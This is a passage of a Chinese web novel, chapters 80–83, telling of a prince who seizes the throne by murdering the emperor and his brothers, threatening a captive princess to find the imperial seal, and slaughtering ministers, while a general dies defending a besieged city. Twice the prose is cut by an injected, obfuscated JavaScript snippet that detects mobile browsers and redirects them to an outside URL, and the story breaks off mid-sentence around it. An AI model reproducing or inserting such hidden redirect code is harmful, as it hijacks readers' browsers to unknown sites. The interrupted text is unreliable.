听到这番说辞,吴王妃只觉气血上涌,眼前金光乱冒。 但她仍旧没有屈服,强撑着一口气质问道:“既是奉旨,你倒是给我瞧瞧,圣旨在哪?!依我朝律例,查封王府需陛下亲下诏书。你的旨意上可有加盖国玺?!” 对方被她问得一噎。 意识到自己拿不出所谓的圣旨,此人当即恼羞成怒,直接挥手下令:“统统拿下!” 禁军士兵立刻涌入院中。 吴王妃刚刚挥开一个想要抓住她的士兵,又被另外两人抓住了手腕。 他们扣着她的手反剪在她身后,用膝盖顶着她的脊背迫使她跪下。 挣扎嘶喊之间,她发髻上的金簪咣啷坠地。 曲起的攒珠凤颈从中断裂,细碎的珠子洒了一地。 80. 逼问 谢怀雵又等了两天,还是没有收到金陵来的消息。 这下他如何不能猜到,金陵出事了。 就在谢怀雵准备派人往金陵打探的时候,他留在金陵王府里的下属高蒙赶到了婺州。 听到是高蒙过来,谢怀雵当即命人将他带入王府。 高蒙原是邢国公麾下一名校尉。谢怀雵到了邢国公身边后,高蒙和他手下的人马被拨给谢怀雵带领。即使后来随着谢怀雵不断立功、军职升迁,但作为最早跟随谢怀雵的人,高蒙一直深受谢怀雵的信任。 谢怀雵被陛下召回金陵时,邢国公以“越朝军制允许将领回京述职时带一百军士护卫”为由,让谢怀雵带走了以高蒙为首的一百人。这些人后来就留在了齐王府里,成了谢怀雵的亲卫。 因高蒙行事稳重,手下还有几个经验老到的斥候,所以谢怀雵回封地前特意将他留在了金陵,替自己留意京中局势变化。 按理来说,作为金陵方面的负责人,高蒙不该亲自跑来婺州的。 金陵一定是发生了非常严重的事情。 高蒙一进来,谢怀雵就上前扶住他的手臂,阻止了他行礼问候的动作,直截了当地问道:“金陵出事了?” 高蒙是个爽快人,谢怀雵既然已经开口询问,他也就没再拘泥礼节,简短快速地回答道:“四日前,禁军突然接管了金陵城内的防务,戒严全城。三天前,赵王在宫中宣布,吴王勾结卫王、七皇子,于紫宸殿刺杀陛下。三位皇子已被禁军射杀,陛下死前下旨,传位于赵王。” 屏风后传来了当啷一声脆响。 谢怀雵转身看去,就见姜同云满脸惊惶地从屏风后走了出来。 两人对视一眼,具在对方眼中看到了震惊和一丝恍然。 谢怀雵强自镇定,转过头去,对着高蒙道:“你仔细说。” “禁军不仅守了城门,不让人随意外出,还在各处居住了权贵的坊门外派兵把守。”说起那几天的经历,高蒙也是心惊不已,“好在殿下不在金陵,他们对咱们齐王府没有太过防备,多少叫我们打探出来一点消息。” “五日前的下午,陛下在紫宸殿中突然昏迷。据说楚国公主原想隐瞒此事,但被宫里妃嫔撞破。当晚,禁军就戒严了宫城。” “我们打探到,那天下钥前,宫里突然派人去了吴王府和卫王府里,叫走了两位殿下。” 至于七皇子,他如今尚未封王,还住在宫中。 谢怀雵敏锐地捕捉到了问题:“只叫了吴王和卫王,没叫赵王?” 高蒙摇了摇头:“没有。赵王府的动向我们一直都有留意。当天下午,赵王一早就出府去了。” “然后呢?” “然后第二天一早,禁军就封锁了金陵城。” 因为齐王府所在的崇仁坊也是被禁军守了大门的地点之一,之后高蒙他们的行动就受到了相当多的限制。即使他们费尽各种手段,也不过只探听出了一些只言片语。 “知道宫里肯定已经出事,我便想着尽早出城给殿下传消息。但直到两天前的傍晚,禁军的守备才稍微松懈了一些。” 尽管这样,高蒙也还是乔装改扮了好几回,最后伪装成一名被困在金陵赶着回家的小贩,经历过几番严密盘问后才得以混出城去。 “我走之前,收到的最后两条消息是,赵王命禁军查封了吴王府、卫王府,同时请了朝中四品及以上官员入宫,准备宣布继位一事。” 高蒙说得又快又急。 这些话落在姜同云耳里,竟让她一时之间无法理解其含义:“陛下是、是真的……” 高蒙分别望了姜同云一眼。 见王妃脸上犹带着几分不敢相信的怀疑之色,他垂下头去,不忍跟她对视:“从我们打探到的消息来看,陛下确实已经……” “但陛下绝不是被吴王等人所害。我们探问过,当日吴王和卫王入宫时,各自都只带着三五名侍卫。进宫之前,他们也都依照宫规,将侍卫留在了宫门之外。” “据说有人曾看见,那些侍卫在两位殿下入宫后不久,就被禁军的人制住带走了。” 见姜同云神情恍惚,谢怀雵担忧地拉住她的手,低声询问道:“你还好吗?” 姜同云深吸几口气,强行让自己的大脑冷静下来:“照目前的线索来看,很有可能是赵王……逼宫谋反了。” 甚至陛下突然昏迷这件事都透露着古怪。 从含昭寄来的信件看,打从邓皇后去世后,陛下就对后宫不怎么上心了。这段时间以来,嫔妃们更是连陛下的面都见不了几回。 怎么这次这么巧,陛下一昏迷,就被宫里的嫔妃刚好撞破了呢? 谢怀雵也想到了别的古怪。 他看向高蒙:“金陵城里突然戒严,城外驻守的五万人马难道没有察觉吗?” 高蒙想了想:“不察觉是不可能的。但确实没听说京郊驻军有过什么动作。” 谢怀雵心里一沉:那几乎就可以肯定,谢怀晟大约也已经控制住了京郊那五万驻军了。 听到谢怀雵的问题,姜同云的心也提了起来:“照这么说的话,赵王这回岂不是已经——” “那含昭呢?她会不会也有危险?” 高蒙回忆片刻:“目前没有提到关于楚国公主的消息。” 谢怀雵知道她的忧虑。 他握着姜同云的手,安慰她也安慰自己:“没有消息就是好消息。含昭现在一定还平安无事!” ***** 金陵,皇宫之内。 门窗紧闭的宫室之内,散着头发的谢含昭坐在书案前,静静地看着一点烛火。 大门打开,一道人影走了进来。 是谢怀晟。 见是他来,谢含昭微微扭过头去。 门被外面的宫人重新合上。 谢怀晟走到书案旁,皱着眉头在桌腿上重重踹了一脚。 桌腿撞上谢含昭的双腿,将她撞得歪了一下。桌下发出了铁链哗哗的声响。 谢含昭咬着牙忍下了痛楚,没有发出任何声响。 见她不肯屈服,谢怀晟一把抓住她的肩膀,强行将她扭了过来:“你还是不肯说出玉玺在哪?” 四天前的夜里。 控制宫城之后,谢怀晟拿出了提前写好的传位诏书扔在他那已经只能嗬嗬喘气地父皇身上:“还请父皇取出玉玺,加盖诏书。” 动弹不得的帝王狠狠瞪了他一眼,随即闭目不言。 见陛下不肯配合,谢怀晟让人拖来紫宸殿里伺候的宫人,从给陛下端茶倒水的小内监开始,一个一个挥下屠刀。 但陛下铁了心不肯开口,任由那些人惨叫着死在禁军刀下。 最后一个被拖到龙床前的是最得陛下信任的甘隆。 知道父皇不吃自己这套,谢怀晟抽出身旁侍卫的佩刀,横在甘隆颈前:“甘总管,看样子也知道父皇是不可能为你们开口了。” “你跟了父皇这么多年,应该也知道玉玺放在何处吧?说出来,本王不仅会饶你一命,还能让你继续做风风光光的大总管。” 眼看刀刃逼近,那老迈的内监流下两行泪来,长呼一声“陛下”,竟直接撞在了谢怀晟的刀口上。 被溅起的血污了衣摆的谢怀晟恼怒地踢开了那具血流不止的尸体。 紫宸殿的宫人都已被屠戮殆尽,但躺在龙床上的陛下还是不肯开口。谢怀晟冷笑一声,命人把押在一旁的谢含昭拖了过来。 沾了甘隆鲜血的利刃又被横在了女孩的脖颈上。 这回,陛下终于睁开了眼睛。 他涨红了脸,愤怒地从喉咙里挤出一声嘶哑地低吼:“你敢?!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995910|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 听到这话,谢怀晟忍不住哈哈大笑起来。 他拿着刀放肆地在陛下脸上来回晃了两下:“我怎么不敢?父皇,我都已经杀了三个兄弟了,再杀一个妹妹又有何妨?” 陛下狠狠地瞪着这个面目狰狞的儿子,重重喘了几口气。 谢怀晟又把刀放回谢含昭颈前。这回他学聪明了,为了防止谢含昭学甘隆一样求死,他抓着谢含昭的头发,迫使她仰起脑袋:“父皇,你现在说出来,我就放过五妹一命。哦对了,还有你那两个好孙子。说不定我也能发发慈悲,给他们留个全尸呢。” 眼见锋利的刀刃已经在谢含昭脖子上压出来一道血痕,陛下又急促地喘了几口气,终于咬着牙开了口:“你放过含昭,朕可以告诉你。” “早这样不就好了吗。”谢怀晟扔下谢含昭和手里佩刀,走到龙床前。 陛下不停地喘息着。 谢怀晟踢了床沿一脚:“别再拖延时间了!” 陛下瞥了他一眼:“你……你凑过来。” 谢怀晟不耐地俯身。 只听床上的人用混杂了大量气音的含混声音,断断续续地说道:“玉玺的所在之处……现在只有……只有朕和、和含昭知道……” 谢怀晟因为这废话皱了皱眉。 他抓住陛下衣领,刚想警告对方,却见对方满脸不正常的灰败之色。 在长长吐了两口浊气之后,陛下合上了眼睛。 谢怀晟不可置信地晃了晃他。 已经彻底死去的人像是一袋泡了水的面粉,沉重,却又毫无反抗地任他摆布。 意识到自己一个将死之人摆了一道,谢怀晟气急败坏地扔下陛下的尸体,一把抓起了泪流不止的谢含昭。 但已经明白父皇意思的谢含昭同样闭口不言。 谢怀晟正要继续逼问,禁军的人来报,说他们已经快压不住各府权贵们了。 谢怀晟没法,只能下令先把谢含昭关押起来。随后他就让禁军通知各府的公侯朝臣们,宣告吴王、卫王和七皇子勾结谋逆,已被当场击杀;陛下驾崩,传位赵王。 他本想先去处理完朝臣们的事情,再来管玉玺的事情。 谁知道朝臣们难糊弄地很,根本就不信禁军给的说辞。 谢怀晟一面极力安抚朝臣,一面派人在宫中大肆搜索。但派去找玉玺的人一无所获,前头朝臣那边也快压不住了。 无奈之下,谢怀晟只能选择铤而走险,快刀斩乱麻。 现在朝臣们已经被他压制住,两座亲王府邸也已被查封。他终于有空来继续逼问谢含昭了。 见谢含昭咬牙不肯开口,谢怀晟冷笑道:“你以为你再坚持坚持就会有人来救你?我告诉你,你别做梦了!” “昨天,就在紫宸殿门口,你的好舅舅犯上作乱,已被禁军就地格杀!” 听到谢怀晟的话,谢含昭错愕地瞪大了眼睛。 看她终于有了反应,谢怀晟不快地心情终于舒缓了几分。 他笑得愈发恶劣:“让我想想,还有谁能帮你。卢家?杨家?他们也和梁国公勾结,意图颠覆正统,都在昨天被我杀了!” “没有人能救你了。我会把那些胆敢反抗我的人,一、个、一、个,全部杀干净的。” 谢含昭浑身发凉,颤抖着流下泪来。 感受到她的恐惧,谢怀晟更加高兴起来。 他拍了拍谢含昭的脸,正想继续逼问,面前的少女突然睁开眼睛,朝他脸上狠狠啐了一口:“谢怀晟,你还是杀了我吧!” 谢怀晟的脸色阴沉下去。 他抹了一把脸,死死盯着谢含昭。但那不过十六岁的姑娘,即使浑身颤抖,也依旧不闪不避地跟他对视着。 良久之后,谢怀晟站起身来,一脚将谢含昭踹倒在地,怒气冲冲地离开了这处宫室。 81. 奏报 谢怀晟顶着满腔怒火回到了紫宸殿里。 经历过连续几日的屠戮后,这里的空气中似乎都还弥漫着难闻的铁锈味。数名内监正伏在通向大殿正门的走道上,奋力擦拭渗进砖缝里的血迹。 看到这副景象,谢怀晟愈发烦躁起来。 因为朝臣们闹得厉害,他又暂时寻不到玉玺,所以也只能硬着头皮将人召集起来,当众宣读了那份伪造出来的圣旨。 果不其然,以梁国公为首,数名重臣直接质疑起了圣旨的真实性。 谢怀晟装作毫不心虚的模样,把圣旨拿给梁国公看。 假圣旨上盖了他临时命人仿刻出来的玺印,谢怀晟自己看过,匠人的手艺还算不错,几乎可以以假乱真。 果然,梁国公等人围着圣旨研究了许久,也没挑出具体的毛病来。 不过作为立足朝堂数十年的老臣,梁国公也不是那么好糊弄的。没能在圣旨上找出破绽,他当即改变思路,要谢怀晟请出玉玺,做最后一重验证。 谢怀晟上哪里去找个玉玺来? 工匠只能仿刻字印,要是他能造个假的出来,谢怀晟犯得着在快死的人那里浪费功夫吗? 在梁国公的逼问下,谢怀晟沉着脸,要人去拿“玉玺”出来。 盖着红绸的托盘被端了出来。 谢怀晟让梁国公上前来看。 趁对方没有防备的时候,谢怀晟一把抽出盖在红绸下的利刃,直刺梁国公心口。 梁国公倒下的瞬间,在场所有重臣全都愣在原地。 太子妃的祖父卢相当即指着谢怀晟,痛骂他杀人灭口,如此行径,必是谋权篡位的乱臣贼子。 很快,紫宸殿前的白玉走道上就又多出了一具尸首。 既然开了这个头,谢怀晟也就不装了。他命禁军把刚才质疑他的人通通抓了出来,当着余下朝臣的面,将这些人尽数斩杀。 最后一颗、属于卢相之子卢尚书的人头落地之后,谢怀晟示意动手的禁军把染血的刀兵扔到了还活着的朝臣面前。 看着他们战战兢兢的模样,谢怀晟冷笑着开口:“这些人意图行刺新君,犯上作乱!幸有禁军将士护持,才没有让他们的阴谋得逞!” 没有开口质疑圣旨的臣子本身就都是些胆小怕事的。这下又亲眼目睹了同僚被直接斩杀的画面,更是吓得魂不附体,哪里还敢再出言反对? 就这样,谢怀晟靠着血腥镇压的手段,暂时稳住了局面。 但强行压平的水面下,只会涌起更多暗流。 当日被谢怀晟下令斩杀的朝臣虽然只有六名,但全部都是身居高位的重臣、要臣,光六部尚书就没了两个。他们这一死,朝堂上必然生乱。 谢怀晟还忙着找玉玺,就草草地把禁军中倒向于他的几名将官安排进了那些空缺之中。 升官本来也就是他们提前说好的报酬,这下倒也还能算是一举两得。 另一件事,就让谢怀晟烦心得多。 此刻,谢怀晟带着从谢含昭那里受的满肚子气,一头扎进紫宸殿里:“去,打盆水来。” 那个臭丫头,居然敢朝他吐口水! 自己要是连谢含昭都拿捏不住,还谈什么登基为帝! 谢怀晟越想越气,抬手又用袖子在已经擦拭过的脸上抹了两把:“再拿套衣裳来!” 紫宸殿里现今侍奉的宫人,都是从孙贤妃和赵王府里出来的,熟知他的脾性。 眼见这位主子情绪不佳,所有人都屏息凝神,生怕哪里做错了,就被拖出去砍了脑袋。 侍奉谢怀晟多年的内监替他端了茶水上来。 谢怀晟喝了一口,想起第二件烦心事来:“钟蘅还是不肯入宫?” 听到这话,内监心里咯噔一下。 但谢怀晟发问,他也不能不答,只好小心斟酌着说道:“王妃她……还在处理王府里的事情。” 谢怀晟冷笑一声:“有什么非要她处理的?” 对于钟蘅这个妻子,谢怀晟心里一直是有不满的。 不知道是不是仗着自己出身好,钟蘅对待谢怀晟一直都是淡淡的。说好听点叫相敬如宾,说难听点,就是爱搭不理。 谢怀晟能忍着她的性格,完全是看在钟家的面子上。 横竖他还能有很多温柔小意的妾室,没必要非得吊在钟蘅一个人身上死磕。 但如今钟蘅的做法,可真就踩到了谢怀晟的底线了。 钟蘅不肯搬到宫里来,那不就是变相在指责他得位不正! 现在他拿不出玉玺来,朝堂上那些个老狐狸们本来就已经是面服心不服了。要是让旁人知道,连他的王妃都不肯配合他,肯定会产生更多的流言蜚语! 到时候,指不定又要有什么人跳出来阻挠自己登基! 想到这里,谢怀晟气得直接摔了手里的茶盏。 破碎的瓷片飞溅起来,被划伤的内监顾不得避开地上的碎瓷片,连忙跪了下去。 谢怀晟一脚踏上一片还算完整的瓷片,将它碾在脚下彻底踩碎。 他恨不得把那个不听话的钟蘅也这样碾在脚底。 但朝上一下死了六名重臣,这个时候要是再和钟家翻脸,指不定还要再闹出什么事来。 想到这里,谢怀晟强压怒火,决定再给钟蘅一次机会:“你去告诉钟蘅。她现在老老实实进宫,等本王登基后她还能做皇后。要是她再敢跟我对着干,那下次我就要带着她们钟家人的尸首亲自去请她了!” 内监哆嗦着伏身:“是。” ***** 婺州。 自从高蒙赶赴婺州,把金陵生变的消息报给谢怀雵后,他就开始派人往金陵去打探消息了。 谢怀晟暂时镇住朝臣后,金陵终于重新打开城门。 谢怀雵派去的人很快就跟被困在齐王府里的人接上头。双方对过消息后,向婺州传回了最新的形势。 “……意图谋逆……罪首伏诛。”看着手中列了一长串人名的名单,谢怀雵怒极反笑,“好一个‘罪首伏诛’!” 他谢怀晟杀父弑君不算,还要把自己的罪名倒扣给反对他的那些忠良之臣! 见他如此失态,姜同云担忧地从他手中拿过信纸,一目十行地读了起来。 等看到附在最后的那一长串名单,吴王、梁国公等人全都被杀的消息,姜同云也忍不住抖了两下。 曾经认识的人现在变成了讣告上的一个名字,比起谢怀雵的愤怒,姜同云更多感到的是悲痛。 以及更加无法抑制的、对谢含昭处境的担忧。 她多想现在就跑去金陵、跑去皇城里,把音讯全无的谢含昭带回来。 但她什么都做不了。 留在婺州,是对她和谢怀雵的保护,也是对他们的限制。 姜同云收起信纸,看向谢怀雵:“信上说,谢怀晟已经暂时控制住了局面。但以他的性格,等他彻底坐稳了位置后,一定不会放过我们的。到时候……该如何应对?” 谢怀雵也在想这个问题:“坐以待毙,绝非智者所为。” “据从宫里探听到的消息来看,谢怀晟应该还没有拿到玉玺。”若非如此,当天梁国公要求请出玉玺时,谢怀晟也没必要直接动手,杀人灭口。 姜同云明白了他话里的意思:“谢怀晟拿不出玉玺,即使现在靠着禁军和京郊驻军,强行压制住朝臣,那也无法改变他得位不正的事实。我们也能趁着这个机会,对他发起反击?” 谢怀雵颔首:“对。但光有我们还不够,需要更多的人向他提出质疑才行。” “所以你想联络各地宗室王侯,共同向谢怀晟施压?” 闻听此言,谢怀雵罕见地犹豫了。 见他没有作答,姜同云小心地问道:“我说得不对吗?” “对。但我也没有想好到底该不该这么做。”谢怀雵苦笑一声,“谢怀晟已经杀掉了陛下一脉除他之外的所有后嗣。一旦我开了这个头,势必会引起宗室夺权,甚至……天下大乱、硝烟四起。” 姜同云立刻反应过来这件事的严重性。 但凡谢怀晟做得没有那么绝,能留个更具正统性的主枝后嗣,情况都不会朝着这么恶劣的方向演变。 谢怀雵叹了口气:“现在谢怀晟还未宣布继位,再给我一点时间考虑一下吧。” 但留给他权衡利 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像谢怀晟这样的人,只因为得到了军队的支持,就能抛开他所做的种种恶行、无视他本人的暴虐无能,顺利登上至尊之位了? 但更让钟蘅感到无力的是,钟家似乎也已经完全倒向了谢怀晟,走上了助纣为虐的路子。 她的祖父钟冀去世以前,曾把三个儿子叫到床前,仔仔细细地剖析了一番先帝抬举钟家的用意。 这番话确实起到了很好的震慑作用。在祖父去世以后,钟蘅的父亲和两位伯父全都小心收敛,刻意与当时还是赵王的谢怀晟保持了距离。 但当先太子骤然离世之后,钟家的态度又发生了转变。 压在赵王头上最大的阻碍已然消失,钟家为什么不能扶持自家女婿,争一争那至高之位呢? 对于这种想法,钟蘅不是没有进行过劝阻。但被权力冲昏头脑的长辈们谁也听不进去她的话。 当时的钟家都克制不住贪欲,那就更别提现在了。 在所有人都欢庆即将大权在握的时候,只有钟蘅,对谢怀晟的将来抱有极端悲观的预想。 像谢怀晟这样不能服众的人,真的能永远坐稳这个位置吗? 等到他倒下的那一天,作为他帮凶的钟家人,又要面临什么样的结局? 想到这里,钟蘅愈感悲凉。 行至水边回廊,她在重叠的山石间突然发现了一个同样孤独凄凉的背影。 在如今的皇城里,居然还有人跟自己一样,没被虚假的欢庆氛围感染的? 钟蘅难得起了好奇心,叫来随侍的宫人问道:“那边那个是谁?” 宫人张望了两眼:“那好像是宋才人。” 宋才人? 钟蘅想了好一会儿,才对上了号。 她好像是在自己嫁入赵王府前就被抬入府里的侍妾。 听说她在进入赵王府前,是个颇有名气的才女。虽然只是一个六品官的女儿,但因才华出众,被先皇后挑入宫中做了楚国公主的伴读。* 只是后来不知怎么的,她辞了伴读的位置,回家后没多久就入了赵王府里。 赵王府里的侍妾很多,这位宋才人一直都不争不抢的,谢怀晟也记不起她来,所以钟蘅对她没有太多印象。 今日在这湖边看到她,钟蘅不知怎么的,竟然对她升起了一点同病相怜的感情来。 “近来转凉,今日风又大。”她淡淡地吩咐道,“把我的披风拿去给宋才人吧,让她保重身体,别受凉了。” 她也就只能做到这儿了。 钟蘅也不打算跟对方说话,吩咐完事情,她就准备离去了。 谁想才抬起脚走了两步,忽然有宫人急匆匆地跑了过来。 “娘娘!” 钟蘅现在尚未被正式封后,所以宫人都只模糊地称呼她为“娘娘”。 见对方神色慌张,钟蘅伸手扶了一把:“怎么了?” “今早朝上收到八百里加急奏报,晋朝率军进犯了!” 当! 钟蘅心中悬起的大石终于落了地。 果然出事了。 她想。 82. 守城 紫宸殿里。 谢怀晟气得又砸了两只杯子。 “这么多年了都没打过仗,怎么临到我要登基的关键时刻,什么事情都来了?!” 立在一旁、刚刚接任兵部尚书一职的戚成腹诽道:北边一直都在关注金陵的消息。这一下,越朝没了皇帝,又经历了一场宫变死了那么多朝廷重臣,这么好的时机,人家可不得赶紧抓住了吗? 心里这么想,话可不敢说出来。 戚成原是羽林军中郎将,从未担任过六部官职的他原本是完全不可能接任兵部尚书这么重要的职位,他能有现在的位置全靠谢怀晟抬举,当然要好好捧着这位,以免刚到手的官职打了水漂。 见谢怀晟犹在生气,戚成顺着他的话帮忙骂了两句,随后硬着头皮小心翼翼地问道:“可如今战事已起,邢国公已经向朝廷提出支援,陛下还是应当早做决断。” 也不是戚成非要去触这个霉头,实在是因为职责所在。他一个刚上任的兵部尚书,既没有经验,也没人跟他有过交接,突然面对这种等级的军务,他实在是给不出方案来,只能指着谢怀晟来做决定。 谢怀晟也知道事情的重要性,不得不强压怒火,开始处理公务。 他抬头看向同样是刚被他安排去户部的新尚书:“现在国库里还有多少钱?” 户部尚书也是谢怀晟从禁军里调任过去的。作为一个将官,他对打理钱财这事实在是没有经验,干脆就把所有的事务推给收下的侍郎等人去办,自己安心享受起好日子来。 只是前面的日子过得有多快活,现在的他就有多慌张。 见他支支吾吾地答不上话来,谢怀晟的眉头愈发紧锁:“你上任这么多天了,连国库里还有多少钱都说不上来?” 看他唯唯诺诺地默认了此事,谢怀晟气得把茶壶都给摔了:“废物!” 自己提拔他们上来可不是只为了让他们占个位置的! 但因目前无人可用,谢怀晟也只瞪了他几眼,没有过多苛责:“去把户部两个侍郎都叫来!” 户部侍郎赶到后,很快就回答了谢怀晟提出的各种问题。 看着户部侍郎核算出来的支出数字,谢怀晟心里疼得都快滴血了。 去年连着办了两场高规格的丧仪后,国库里的银钱消耗了不少。好不容易等收上税来,接下去还要再办一场先帝的丧仪和谢怀晟本人的登基仪典。 如果现在按照邢国公的奏折里拨付钱粮人马,那国库里的银子又要下去一小半。 而且打仗是个耗时耗力的事情,后续肯定还要继续往里投钱。 听到这里,谢怀晟就有些不乐意了。 国库没银子,那不就是要从别的地方里省吗? 省了先帝丧仪的也就算了,要是省到自己头上,那多丢面子啊。 而且登基大典可是新帝继位后的第一件大事。要是连这个头都打不好,往后不顺心的事情只会更多。 所以他最终也只是摆了摆手,表示要暂时搁置此事,等朝会上和众臣商议过后再做决定。 ***** “朝廷已经明发邸报,将会派遣一支六万人的军队和相应的粮草物资前往边境,支援邢国公。” “六万?”姜同云有些讶异,“可我记得邢国公当时的奏报里,提的是要十万人马啊?” 这一下少了四万,折扣力度也太大了吧。 谢怀雵忍不住冷笑出声:“还能为什么?谢怀晟舍不得给呗。” 按照惯例,前线战事吃紧的时候,要先从诸如越州这种有驻军的地方抽调人马。但军队调度集结都是要花钱的,调的人越多、调兵的地方越远,花出去的钱也就越多。 谢怀晟倒是也能用京郊那五万驻军来补缺。但他现在全靠禁军和京郊驻军压着才不至于叫金陵生乱。这种情况下,他如何敢这支忠于自己的队伍离开金陵? 几番权衡之后,谢怀晟选择削减派去边境的士兵数量。 姜同云忧虑地问道:“现在边境的缺口大约是多少?” “宿州那边原有驻军六万,其中有八千是骑兵,加上派去的六万人,就是十二万人。”谢怀雵开始盘点双方兵力,“但徐王那里,原本就有至少十万人的军队,加上后续补充的,只会比我方人马更多。” “周围几处要镇里倒是也有守军,但徐王不可能不防。若是准备充足,晋朝甚至还有可能会分散至多处同时发起进攻。” “不过陛下今年已经陆续换上了一批由邢国公举荐的将领,短时间内应该还能稳住。” 看谢怀雵脸上忧虑之色不减,姜同云就知道肯定还有别的问题:“你还在担心什么?” 谢怀雵叹了口气:“……担心现在朝廷的办事能力。” 谢怀晟杀了那么多要紧职位上的重臣,现在的朝廷真的还有足够的能力,可以支撑起前线的战事吗? “徐王的军队来势汹汹,邢国公现在恐怕也是在勉力支撑。” “要是支援的人去得晚了,只怕……” 宿州城会守不住。 光是失城不算可怕,可怕的是,邢国公几十年来不败的神话将被终结。 这会沉重打击越朝军队的作战信心,同时还将极大提升敌方的气势。 “……希望他们能及时赶到吧。” ***** 可世上所有的事都遵循一个定理——你越是害怕的,它就越容易发生。 谢怀晟的上位过程充满疑点,加上他到现在都还拿不出玉玺来自证。在这种情况下,心思浮动的可不止是宗室王侯们。 谢怀晟已经不太能使唤得动那些掌着兵权的地方将领们了。 朝廷下达调兵命令七日后,除了庐州那边的人马已经抵达宿州外,其余两支队伍竟还只是刚在金陵集结完毕。 剩下的四万人还担负着运送粮草的职责,行军速度必然会受到影响。 金陵这边拖拖拉拉,北边已经在宿州城外集结起了十二万人规模的军队。 除此之外,他们也确实像谢怀雵预料的那般,分散了几支一二万人规模的队伍到周边几处重镇前,阻挠其他地方支援宿州。 进入十月后,宿州城里迅速地冷了下来。 年近古稀、须发皆白的邢国公刚刚结束一场小规模的守城战役,从城墙上走了下来。 他的副将虞新舟连忙给他递上一杯刚冲好的参茶。 邢国公接过杯子,眼也不眨地将杯里苦涩的茶水一饮而尽,连带参片都嚼进嘴里:“金陵那边还是没有消息吗?” 一提这事,虞新舟就压不住火气:“今早接到消息,说余下的四万人已经带着粮草辎重出发了。” 他们派人向朝廷提出支援怎么也有半个月了,朝廷不仅不给足人马物资,打了折的那部分居然还拖拖拉拉地弄到现在都没到位。 要不是庐州驻军统领靠得住,让他那两万人马过来时带了一部分粮草来,只怕他们现在都快吃不上饭了! 邢国公也忍不住皱起了眉:“大概还要多久?” “他们过来大约还要个三四天的。”这都还是往快里估计的了。 “三四天?”邢国公眉头紧锁,“那也太久了!” 现下城里的粮草倒是还够吃的,但连日守城已经让军队士气降低了许多。加上这些天来徐王海不停地派小股人马在夜间袭扰,城内将士们都已身心俱疲。 邢国公就等着人马到齐后,打开城门进行一波反击,用一场痛痛快快的胜仗振奋一下士气呢。 要是朝廷人马还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安排好城中百姓,虞新舟也开始履行自己的职责——徐王的人马不可能只从一个地方进攻,他要去自己负责的西城门应敌。 许是知道金陵的支援就要赶到,这一次的进攻十分猛烈。 城墙下已被泼出的火油烧出一片连绵的火海,但徐王的人马仍旧顶着弓弩齐射,源源不断地推着云梯往前冲。 遮蔽天空的阴云里,太阳慢慢地从东行至西。 虞新舟扔下第三把砍得卷了刃的刀,随手从地上的尸体那里捡了一把新的。他提起一坛猛火油浇在还没起火的云梯上,刚要往下点火,就听城外远远地响起了代表着收兵的号角声。 城下的人终于退去了。 等到对面的人彻底消失无踪,他才终于松了一口气。 这一天总算是过去了! 他扔下刀兵,吩咐旁人清点伤亡和物资损耗情况,自己则拖着一双几乎抬不起来的手臂往邢国公驻守的北城门而去。 老远地,虞新舟就听见北城门那里传来了震天撼地般的欢呼声。 那是他们在庆祝自己又一次击退了敌人。 被这种欢庆氛围感染,虞新舟又觉得自己身上重新有了力气。 他的脚步变得轻快起来。 临近傍晚,消失了一天的太阳终于撕开阴云,重新出现在天空中。 温暖的阳光洒落下来,正好照亮了城墙正中那个握着长枪的人影。 望着邢国公坚毅如昔的背影,虞新舟忍不住跟着人群呼喊起来。 就在欢呼声达到顶峰的时候,那个伟岸的身影,轰然倒塌。 83. 决定 “你说什么?!再说一遍!” 报信的内监哆哆嗦嗦地把刚才的消息复述了一遍:“邢国公战死,宿州城失守!” “朝廷不是已经派人过去了吗?!为什么还会守不住?!”谢怀晟一脚踹翻了桌案,怒不可遏地大喊道,“废物!全是废物!” 站在下方的戚成完全不敢在这个时候跳出来说,宿州城其实根本就没等到剩下那四万人的支援。 邢国公自己就是被活生生累死在城墙上的。 作为一名征战沙场数十年的老将,邢国公其实连自己死后的事情都做了相应的安排。 邢国公死后,他的副将虞新舟按照原定的安排,及时压下了他死亡的消息,只说邢国公累倒了还在休养。 靠着宿州城内高涨的愤慨之心,宿州的军民在没有主将指挥的情况下又合力扛过了徐王两次进攻。 他们坚守了足足三日,直到城内储备的弓箭火油即将耗尽,也没能等到支援的四万人马。 眼看城里的军民再一次失去希望,有关邢国公已经身亡的消息也已外泄,没有办法的虞新舟为了保全城内百姓的性命,只能下令弃城。 但谢怀晟可不管这些。 在他看来,邢国公是不是战死、什么时候战死、甚至怎么死的那都不重要,没有守住宿州,就是邢国公的责任! 他盯着戚成问道:“那个老东西的尸体呢?还有他那个下令弃城的副将,他们现在在哪?!” 听到这话,戚成心里一抖。他小心翼翼地回答道:“邢国公的遗体正由人护送返京。至于那位虞副将,他已战死于宿州,尸骨无存。” 为了给百姓们争取到足够的转移时间,虞新舟还带着一部分将士继续留在宿州佯装守城,直到被徐王派出的斥候发现问题,他还带人直面敌军,继续坚守。 可想而知,宿州城破以后,留下来的那些人会遭到什么样的对待。 同样是军人出身的戚成,对邢国公和虞新舟这样的人,多少都是有着钦佩和怜悯之情的。 只是高坐殿中的谢怀晟明显感受不到这类情绪。 “还护送回来?”他指着戚成的鼻子破口大骂,“他连城都守不住,还想回金陵安葬?告诉那些人,朕不许他回来!直接把他的尸体就地掩埋!” 戚成心中蓦然升起一股悲凉之意:“这?” 谢怀晟危险地盯着他:“怎么,你觉得朕说的不对吗?” 戚成连忙垂下头:“……微臣不敢。” 